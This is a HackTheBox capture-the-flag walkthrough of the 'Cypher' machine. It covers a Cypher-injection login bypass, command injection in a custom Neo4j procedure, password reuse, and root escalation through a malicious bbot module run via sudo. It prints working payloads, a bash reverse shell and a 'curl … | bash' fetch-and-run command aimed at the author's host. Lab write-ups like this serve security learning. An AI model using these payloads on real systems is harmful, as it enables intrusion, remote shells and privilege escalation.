HTB: Cypher

Cypher starts with a website advertising a graph database. I’ll use cypher injection to bypass the login and get into the site. I’ll find a JAR file for a Neo4J extension and reverse engineer it to find command injection in a custom cypher method. I’ll abuse that to get a shell on the box, and pivot to the next user with a password in their bash history file. This user can run bbot as root, which I’ll exploit two ways to both get the flag and get a shell. In Beyond Root, I’ll show some steps that can be skipped with additional enumeration, and look at the interesting webserver configuration.
Box Info
Name | Cypher ![]() Play on HackTheBox |
---|---|
Release Date | 01 Mar 2025 |
Retire Date | 26 Jul 2025 |
OS | Linux ![]() |
Base Points | Medium [30] |
Rated Difficulty | ![]() |
Radar Graph | ![]() |
![]() |
00:13:11 |
![]() |
00:16:48 |
Creator |
Recon
nmap
nmap
finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 11:59 UTC
Nmap scan report for 10.10.11.57
Host is up (0.087s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.92 seconds
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 11:59 UTC
Nmap scan report for 10.10.11.57
Host is up (0.086s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.93 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 24.04 noble.
The webserver returns a redirect to http://cypher.htb
. Given the use of virtual-host-based routing, I’ll use ffuf
to brute force for any subdomains of cypher.htb
that respond differently, but not find any. I’ll add this to my hosts
file:
10.10.11.57 cypher.htb
Website - TCP 80
Site
The site is for something calling itself Graph ASM:

The about page claims it uses a proprietary engine for attack surface management (in a lot of buzz words).
The “Try our free demo” and “Login” links both go to /login
:

Trying admin/admin shows:

Tech Stack
The HTTP headers don’t show anything besides nginx:
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 02 Mar 2025 12:04:35 GMT
Content-Type: text/html
Last-Modified: Mon, 17 Feb 2025 11:49:07 GMT
Connection: keep-alive
ETag: W/"67b32233-11d2"
Content-Length: 4562
The 404 page is also the default nginx page:

Wappalyzer doesn’t have anything to add either:

Directory Brute Force
I’ll run feroxbuster
against the site, and include -x php
since I know the site is PHP:
oxdf@hacky$ feroxbuster -u http://cypher.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://cypher.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 126l 274w 3671c http://cypher.htb/login
200 GET 3l 113w 8123c http://cypher.htb/bootstrap-notify.min.js
200 GET 63l 139w 1548c http://cypher.htb/utils.js
200 GET 179l 477w 4986c http://cypher.htb/about
307 GET 0l 0w 0c http://cypher.htb/demo => http://cypher.htb/login
307 GET 0l 0w 0c http://cypher.htb/api => http://cypher.htb/api/docs
307 GET 0l 0w 0c http://cypher.htb/api/ => http://cypher.htb/api/api
405 GET 1l 3w 31c http://cypher.htb/api/auth
200 GET 2l 1293w 89664c http://cypher.htb/jquery-3.6.1.min.js
200 GET 7l 1223w 80496c http://cypher.htb/bootstrap.bundle.min.js
200 GET 162l 360w 4562c http://cypher.htb/index
200 GET 12l 2173w 195855c http://cypher.htb/bootstrap.min.css
200 GET 7333l 24018w 208204c http://cypher.htb/vivagraph.min.js
200 GET 876l 4886w 373109c http://cypher.htb/logo.png
200 GET 162l 360w 4562c http://cypher.htb/
301 GET 7l 12w 178c http://cypher.htb/testing => http://cypher.htb/testing/
200 GET 17l 139w 9977c http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
404 GET 1l 2w 22c http://cypher.htb/demos
200 GET 5632l 33572w 2776750c http://cypher.htb/us.png
404 GET 1l 2w 22c http://cypher.htb/demo2
404 GET 1l 2w 22c http://cypher.htb/demo1
404 GET 1l 2w 22c http://cypher.htb/api-doc
404 GET 1l 2w 22c http://cypher.htb/demo3
404 GET 1l 2w 22c http://cypher.htb/apis
404 GET 1l 2w 22c http://cypher.htb/demosite
404 GET 1l 2w 22c http://cypher.htb/api_test
404 GET 1l 2w 22c http://cypher.htb/api3
404 GET 1l 2w 22c http://cypher.htb/demo4
404 GET 1l 2w 22c http://cypher.htb/demotest
404 GET 1l 2w 22c http://cypher.htb/api2
404 GET 1l 2w 22c http://cypher.htb/api4
404 GET 1l 2w 22c http://cypher.htb/demo-business
404 GET 1l 2w 22c http://cypher.htb/demonstration
404 GET 1l 2w 22c http://cypher.htb/demo_files
404 GET 1l 2w 22c http://cypher.htb/demoshop
404 GET 1l 2w 22c http://cypher.htb/democracy
404 GET 1l 2w 22c http://cypher.htb/demo6
404 GET 1l 2w 22c http://cypher.htb/demonstrate
404 GET 1l 2w 22c http://cypher.htb/demosites
404 GET 1l 2w 22c http://cypher.htb/demosite2
404 GET 1l 2w 22c http://cypher.htb/demographics
404 GET 1l 2w 22c http://cypher.htb/demoadmin
404 GET 1l 2w 22c http://cypher.htb/demofiles
[####################] - 54s 30019/30019 0s found:43 errors:0
[####################] - 53s 30000/30000 568/s http://cypher.htb/
[####################] - 0s 30000/30000 63425/s http://cypher.htb/testing/ => Directory listing (add --scan-dir-listings to scan)
There’s a few things to note here:
- There’s a
/demo
, but it redirects to/login
, so likely requires auth. /api/auth
is returning 405 wrong method. This is where POST requests are sent for logging in, so this makes sense./api/docs
is interesting, but it just returns{"detail":"Not Found"}
. There’s more fuzzing I can do against the API, and I’ll show that as an unintended path in Beyond Root./testing
is interesting.
/testing
has directory listening enabled:

I’ll download this .jar
file.
custom-apoc-extension-1.0-SNAPSHOT.jar
Purpose
Neo4J is a Graph database product, and one that shares a lot of the buzz words present on the website. Amongst readers of this site it may be most well known as the backend for Bloodhound.
Awesome Procedures on Cypher (APOC) is a library of functions that extend Neo4j’s Cypher capabilities.
Based on the filename, it seems likely this Jar is a set of customs functions extending Neo4J to do some customer queries..
RE
JAR files are Java archive files holding a Java application. It’s actually just a Zip archive, and can be unzipped, but it’s easier to go directly to a tool like jadx-gui. Opening the file shows it has only a couple classes:

HelloWorldProcedure
is just what is it sounds like. Nothing interesting.
CustomFunctions
has a function called getUrlStatusCode
:
public class CustomFunctions {
@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
url = "https://" + url;
}
String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
while (true) {
String line = errorReader.readLine();
if (line == null) {
break;
}
errorOutput.append(line).append("\n");
}
String statusCode = inputReader.readLine();
System.out.println("Status code: " + statusCode);
boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
if (!exited) {
process.destroyForcibly();
statusCode = "0";
System.err.println("Process timed out after 10 seconds");
} else {
int exitCode = process.exitValue();
if (exitCode != 0) {
statusCode = "0";
System.err.println("Process exited with code " + exitCode);
}
}
if (errorOutput.length() > 0) {
System.err.println("Error output:\n" + errorOutput.toString());
}
return Stream.of(new StringOutput(statusCode));
}
/* loaded from: custom-apoc-extension-1.0-SNAPSHOT.jar:com/cypher/neo4j/apoc/CustomFunctions$StringOutput.class */
public static class StringOutput {
public String statusCode;
public StringOutput(String statusCode) {
this.statusCode = statusCode;
}
}
}
It is very much command injectable here:
String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);
url
is the input to the function, so if I can find where this is called, I can likely get RCE.
Shell as neo4j
Cypher Injection
Identify
I’ll try adding a single quote to the username, and the error coming back is long:

In Burp I can see that trying to login sends a POST request to /api/auth
, and the response here has the full error:
HTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 02 Mar 2025 12:11:55 GMT
Content-Length: 3457
Connection: keep-alive
Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash"
^}
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/app/app.py", line 165, in login
creds_valid = verify_creds(username, password)
File "/app/app.py", line 151, in verify_creds
raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")
ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash: Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash"
^}
Takeaways here:
-
The crash is in a Python application.
-
There’s multiple references to the Neo4J graph database, including both of the exceptions raised, which are
neo4j.exceptions.CypherSyntaxError
. -
The full query being run is also there:
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '{input}' return h.value as hash
Bypass Login
This query is getting all the USER
nodes that have an outgoing SECRET
relationship to a SHA1
node. Then it filters the USER
nodes to only those where the name
property matches the input name. Then it returns the hash value of the linked SHA1
node.
I can assume that that hash is compared to the hash of the input password to see if the login attempt should succeed. I’ll guess that the hash value is 40 hex characters, but it could also be binary or some other encoding. It just needs to be something to compare to the output of hashing my input, and hex characters certainly seems easiest from the developer’s point of view.
I want to have this query return the SHA1 hash of the password I give it, ignoring the DB. For example, “9948e7baab1783a947c469c4c61e9f4bcce559b0” is the SHA1 of “0xdf”. My first thought is to try something like:
' RETURN "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash; //
This would make the query:
MATCH (u:USER) -[:SECRET]-> (h:SHA1)
WHERE u.name = ''
RETURN "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash;//' return h.value as hash
This doesn’t work. ChatGPT explains the reason:

Originally I used a UNION payload to make this work:
' return h.value as hash UNION return "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash LIMIT 1;//
This makes:
MATCH (u:USER) -[:SECRET]-> (h:SHA1)
WHERE u.name = ''
return h.value as hash
UNION return "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash
LIMIT 1;//' return h.value as hash
Because the user won’t match, it’ll return my hash. Entering that into the username field with the password “0xdf” works:

There’s a shorter way to do this with a simple OR true
:
' OR true return "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash;//
Further Cypher Injection
With this injection, I could go the route of doing blind boolean injections using the return of a successful login or not as a way to ask questions of the database. I could also try exfiling data using a technique like LOAD CSV
like I showed in OnlyForYou, but it turns out there’s no interesting data in the database.
At this point, especially with the command injection already identified, I’ll turn focus to the authenticated site.
Command Injection
Site
The site has a bar at the top to specify a query. There are seven predefined queries to choose from:

Selecting one of these populates the text input next to it. For example, selecting “Select All” fills it with:

The queries are:
Name | Query |
---|---|
Select All | MATCH (n) RETURN n |
DNS Names | MATCH (n:DNS_NAME) RETURN n |
IP Addresses | MATCH (n:DNS_NAME) RETURN n |
HTTP Statuses | MATCH (n:DNS_NAME) WHERE n.scope_distance = 0 CALL custom.getUrlStatusCode(n.data) YIELD statusCode RETURN n.data, statusCode |
TXT Records | MATCH (n1)-[:TXT]->(n2) RETURN n1,n2 |
MX Records | MATCH (n1)-[:MX]->(n2) RETURN n1,n2 |
NS Records | MATCH (n1)-[:NS]->(n2) RETURN n1,n2 |
I’ll note in HTTP Statuses query it’s using the custom.getUrlStatusCode
function!
If I run the HTTP Statuses query, it hangs for a while (due to timeouts trying to reach sites that can’t be routed to from the HTB machine) and then shows the status code for each node:
RCE POC
I could do the command injection into the existing query, but to make it a bit cleaner, I’ll use the CALL
Neo4j directive to call the function, entering CALL custom.getUrlStatusCode("localhost; id") YIELD statusCode
into the bar. The result has the output of id
:

Shell
I’ll play around with updating the query to contain a bash reverse shell, but couldn’t get the quoting to work out. Instead I’ll save that shell to a file on my host:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/443 0>&1
Now with my Python webserver in that directory (python -m http.server 80
), I’ll inject the command to get it and pip it to bash
:
CALL custom.getUrlStatusCode("cypher.htb; curl 10.10.14.6/shell | bash; ") YIELD statusCode Return statusCode
It hits my webserver:
10.10.11.57 - - [02/Mar/2025 18:19:13] "GET /shell HTTP/1.1" 200 -
And then connects a shell:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.57 49302
bash: cannot set terminal process group (1427): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$
I’ll upgrade the shell using the standard trick:
neo4j@cypher:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
neo4j@cypher:/$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
neo4j@cypher:/$
Shell as graphasm
Enumeration
There’s a bunch of enumeration that shows a rather unique web setup, but isn’t important to escalating to the next user or root, so I’ll cover it in Beyond Root.
Looking at users on the box, there’s one user with a home directory in /home
:
neo4j@cypher:/home$ ls
graphasm
Interestingly, in addition to graphasm and root, the neo4j user has a shell configured in passwd
:
neo4j@cypher:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
neo4j:x:110:111:neo4j,,,:/var/lib/neo4j:/bin/bash
Typically service accounts like www-data or neo4j don’t have shells configured. neo4j’s home directory is /var/lib/neo4j
. That directory even has a .bash_history
file, suggesting that someone has logged in as that use and run commands:
neo4j@cypher:~$ ls -la
total 52
drwxr-xr-x 11 neo4j adm 4096 Feb 17 16:39 .
drwxr-xr-x 50 root root 4096 Feb 17 16:48 ..
-rw-r--r-- 1 neo4j neo4j 63 Oct 8 18:07 .bash_history
drwxrwxr-x 3 neo4j adm 4096 Oct 8 18:07 .cache
drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 certificates
drwxr-xr-x 6 neo4j adm 4096 Oct 8 18:07 data
drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 import
drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 labs
drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 licenses
-rw-r--r-- 1 neo4j adm 52 Oct 2 15:55 packaging_info
drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 plugins
drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 products
drwxr-xr-x 2 neo4j adm 4096 Mar 2 11:24 run
lrwxrwxrwx 1 neo4j adm 9 Oct 8 18:07 .viminfo -> /dev/null
The .bash_history
file has a single command setting up the initial password for Neo4j:
neo4j@cypher:~$ cat .bash_history
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK
su / SSH
That password is shared with the graphasm user. It works with su
:
neo4j@cypher:~$ su - graphasm
Password:
graphasm@cypher:~$
And over SSH from my host:
oxdf@hacky$ sshpass -p 'cU4btyib.20xtCMCXkBmerhK' ssh graphasm@cypher.htb
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)
...[snip]...
graphasm@cypher:~$
Either way I can read user.txt
:
graphasm@cypher:~$ cat user.txt
2a10a1d6************************
Shell as root
Enumeration
The graphasm user can run bbot
as root with sudo
:
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
bbot
is the Bighuge BLS OSINT Tool, a multipurpose scanner for things like subdomains, web spirdering, email collecting, etc.
Exploit
There are a couple ways to exploit this to get root:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[Shell as graphasm]-->B(<a href='#read-roottxt'>Partial\nFile Leak</a>);
B-->C[Read root.txt];
A-->D(<a href='#create-module'>Custom BBOT\nModule</a>);
D-->E[Shell as root];
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
Read root.txt
Any time I get a program that I can run as root with a lot of options, I’ll look for any that take in lines from a file. For example:
graphasm@cypher:~$ bbot -h
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
usage: bbot [-h] [-t TARGET [TARGET ...]] [-w WHITELIST [WHITELIST ...]] [-b BLACKLIST [BLACKLIST ...]]
[--strict-scope] [-p [PRESET ...]] [-c [CONFIG ...]] [-lp] [-m MODULE [MODULE ...]] [-l] [-lmo]
[-em MODULE [MODULE ...]] [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] [-ef FLAG [FLAG ...]]
[--allow-deadly] [-n SCAN_NAME] [-v] [-d] [-s] [--force] [-y] [--dry-run] [--current-preset]
[--current-preset-full] [-o DIR] [-om MODULE [MODULE ...]] [--json] [--brief]
[--event-types EVENT_TYPES [EVENT_TYPES ...]]
[--no-deps | --force-deps | --retry-deps | --ignore-failed-deps | --install-all-deps] [--version]
[-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [--custom-yara-rules CUSTOM_YARA_RULES]
Bighuge BLS OSINT Tool
options:
-h, --help show this help message and exit
Target:
-t TARGET [TARGET ...], --targets TARGET [TARGET ...]
Targets to seed the scan
-w WHITELIST [WHITELIST ...], --whitelist WHITELIST [WHITELIST ...]
What's considered in-scope (by default it's the same as --targets)
-b BLACKLIST [BLACKLIST ...], --blacklist BLACKLIST [BLACKLIST ...]
Don't touch these things
--strict-scope Don't consider subdomains of target/whitelist to be in-scope
Presets:
-p [PRESET ...], --preset [PRESET ...]
Enable BBOT preset(s)
-c [CONFIG ...], --config [CONFIG ...]
Custom config options in key=value format: e.g. 'modules.shodan.api_key=1234'
-lp, --list-presets List available presets.
Modules:
-m MODULE [MODULE ...], --modules MODULE [MODULE ...]
Modules to enable. Choices: ip2location,postman,credshed,leakix,paramminer_cookies,sitedossier,affiliates,azure_realm,fullhunt,censys,builtwith,ipneighbor,github_workflows,dockerhub,code_repository,docker_pull,azure_tenant,rapiddns,dehashed,wappalyzer,digitorus,url_manipulation,hackertarget,bucket_firebase,baddns_zone,dnscommonsrv,unstructured,wayback,bucket_digitalocean,telerik,paramminer_getparams,wpscan,chaos,dotnetnuke,secretsdb,anubisdb,github_codesearch,paramminer_headers,columbus,securitytxt,gitlab,viewdns,github_org,skymem,smuggler,oauth,baddns_direct,otx,newsletters,securitytrails,bucket_amazon,generic_ssrf,shodan_dns,myssl,wafw00f,ipstack,crt,zoomeye,dnscaa,dastardly,dnsbrute,vhost,urlscan,filedownload,social,portscan,host_header,httpx,badsecrets,trufflehog,ntlm,trickest,emailformat,bucket_file_enum,hunt,gowitness,postman_download,bypass403,ajaxpro,sslcert,ffuf,ffuf_shortnames,robots,subdomaincenter,git,bucket_google,pgp,bevigil,asn,fingerprintx,certspotter,dnsdumpster,dnsbrute_mutations,nuclei,hunterio,internetdb,bucket_azure,virustotal,git_clone,iis_shortnames,binaryedge,baddns,c99,passivetotal
-l, --list-modules List available modules.
-lmo, --list-module-options
Show all module config options
-em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...]
Exclude these modules.
-f FLAG [FLAG ...], --flags FLAG [FLAG ...]
Enable modules by flag. Choices: passive,web-basic,web-screenshots,portscan,subdomain-enum,subdomain-hijack,report,email-enum,active,cloud-enum,code-enum,social-enum,iis-shortnames,safe,baddns,aggressive,web-paramminer,service-enum,affiliates,slow,deadly,web-thorough
-lf, --list-flags List available flags.
-rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...]
Only enable modules with these flags (e.g. -rf passive)
-ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...]
Disable modules with these flags. (e.g. -ef aggressive)
--allow-deadly Enable the use of highly aggressive modules
Scan:
-n SCAN_NAME, --name SCAN_NAME
Name of scan (default: random)
-v, --verbose Be more verbose
-d, --debug Enable debugging
-s, --silent Be quiet
--force Run scan even in the case of condition violations or failed module setups
-y, --yes Skip scan confirmation prompt
--dry-run Abort before executing scan
--current-preset Show the current preset in YAML format
--current-preset-full
Show the current preset in its full form, including defaults
Output:
-o DIR, --output-dir DIR
Directory to output scan results
-om MODULE [MODULE ...], --output-modules MODULE [MODULE ...]
Output module(s). Choices: discord,json,teams,http,txt,stdout,asset_inventory,python,csv,splunk,neo4j,subdomains,slack,websocket,web_report,emails
--json, -j Output scan data in JSON format
--brief, -br Output only the data itself
--event-types EVENT_TYPES [EVENT_TYPES ...]
Choose which event types to display
Module dependencies:
Control how modules install their dependencies
--no-deps Don't install module dependencies
--force-deps Force install all module dependencies
--retry-deps Try again to install failed module dependencies
--ignore-failed-deps Run modules even if they have failed dependencies
--install-all-deps Install dependencies for all modules
Misc:
--version show BBOT version and exit
-H CUSTOM_HEADERS [CUSTOM_HEADERS ...], --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...]
List of custom headers as key value pairs (header=value).
--custom-yara-rules CUSTOM_YARA_RULES, -cy CUSTOM_YARA_RULES
Add custom yara rules to excavate
EXAMPLES
Subdomains:
bbot -t evilcorp.com -p subdomain-enum
Subdomains (passive only):
bbot -t evilcorp.com -p subdomain-enum -rf passive
Subdomains + port scan + web screenshots:
bbot -t evilcorp.com -p subdomain-enum -m portscan gowitness -n my_scan -o .
Subdomains + basic web scan:
bbot -t evilcorp.com -p subdomain-enum web-basic
Web spider:
bbot -t www.evilcorp.com -p spider -c web.spider_distance=2 web.spider_depth=2
Everything everywhere all at once:
bbot -t evilcorp.com -p kitchen-sink
List modules:
bbot -l
List presets:
bbot -lp
List flags:
bbot -lf
Some playing around with various options finds -w
, which takes a whitelist of targets, as well as -d
for debug more. Running that outputs:
graphasm@cypher:~$ sudo bbot -w /root/root.txt -d
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Reading whitelist from file: /root/root.txt
...[snip]...
[DBUG] Generated Regex [(([a-z0-9-]+\.)+13b2e3c9************************)] for domain 13b2e3c9************************
...[snip]...
There are probably other options that will do the same thing. This technique has it’s limits. It really struggles to read most files.
Create Module
This page in the documentation describes how to create a BBOT module. If I put a .yml
file that defines the modules to run and where they live:
modules:
- ExploitModule
module_dirs:
- /dev/shm/
I’ll write that in /dev/shm
, and then run bbot
with -p
pass this file:
graphasm@cypher:/dev/shm$ sudo bbot -p ./0xdf.yml
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[WARN] Could not find scan module "ExploitModule". Did you mean "ip2location"?
It tries to find the module. It will load ExploitModule.py
from /dev/shm
based on that config, so I’ll write one:
graphasm@cypher:/dev/shm$ cat ExploitModule.py
import os
os.system("id")
I could go ahead and make a full module, but this is enough to get execution:
graphasm@cypher:/dev/shm$ sudo bbot -p ./0xdf.yml
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Scan with 1 modules seeded with 0 targets (0 in whitelist)
uid=0(root) gid=0(root) groups=0(root)
[WARN] Failed to load unknown module "ExploitModule"
[ERRR] Failed to load 1 scan modules: ExploitModule (--force to run module anyway)
It wants a class named ExploitModule
(that extends the BaseModule
class), but before it gets there to fail, it has run id
.
If I replace the id
command with bash
, I get a shell:
graphasm@cypher:/dev/shm$ sudo bbot -p ./0xdf.yml
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Scan with 1 modules seeded with 0 targets (0 in whitelist)
root@cypher:/dev/shm#
And can read the flag:
root@cypher:~# cat root.txt
13b2e3c9************************
Beyond Root
Unintended Path
There’s an unintended path in Cypher that allows for skipping the Cypher injection to bypass the login entirely.
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[Website]-->D(<a href='#cypher-injection'>Cypher Injection Login Bypass</a>);
D-->E(<a href='#site-1'>Website Access</a>);
E-->F(<a href='#rce-poc'>Command Injection in /api/cypher Endpoint</a>)
F-->G(<a href='#shell'>Shell</a>)
A-->B(<a href='#unintended-path'>Directory Brute Force</a>)
B-->F
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,6,7 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
While the wordlist I typically use doesn’t have cypher
in it, many from SecLists do, and so by brute forcing on /api
, it can be identified:
